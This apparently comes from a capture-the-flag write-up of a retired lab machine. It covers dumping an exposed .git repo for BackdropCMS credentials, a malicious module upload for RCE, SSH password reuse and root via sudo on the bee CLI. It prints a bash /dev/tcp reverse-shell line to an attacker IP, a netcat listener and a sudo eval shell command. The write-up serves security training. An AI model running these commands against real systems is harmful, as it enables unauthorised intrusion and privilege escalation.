Retired machine. Credentials and flags redacted - solve it yourself.
Summary
An exposed .git repository leaks BackdropCMS credentials. An authenticated CMS RCE (malicious module upload) lands a www-data shell. The user johncusack reused the CMS password for SSH, and a passwordless sudo on the bee binary (which evaluates PHP) gives root.
Enumeration
nmap -sV -A 10.10.11.58
22/tcp open ssh
80/tcp open http
Web enum found /core, /profiles, /webconfig, /admin, and an open .git repository.
Dump it and read the config:
python3 git-dumper.py http://10.10.11.58/.git/ -output
cat settings.php # DB creds: root / <redacted>
Foothold
- CMS identified as BackdropCMS v1.27.1.
searchsploit backdrop→ authenticated RCE (malicious module archive upload).- Log into the admin panel with the leaked creds, upload the malicious module, trigger the web shell:
nc -lvp 4545
bash -c 'bash -i >& /dev/tcp/10.10.14.22/4545 0>&1' # shell as www-data
Privilege Escalation
- Valid local accounts:
johncusack,jobert. - Password reuse: the CMS password works for SSH as
johncusack.
ssh johncusack@10.10.11.58
sudo -l # (ALL) NOPASSWD: /usr/local/bin/bee
bee(Backdrop’s CLI) can evaluate PHP → run a shell as root:
sudo bee --root="/var/www/html/" eval "system('/bin/bash')"
cat /root/root.txt
Lessons Learned
- Always check for an exposed
/.git/and dump it with git-dumper. - Password reuse between a CMS and system accounts is a common pivot.
- Custom binaries allowed via sudo - especially ones with
eval/exec- are a direct route to root.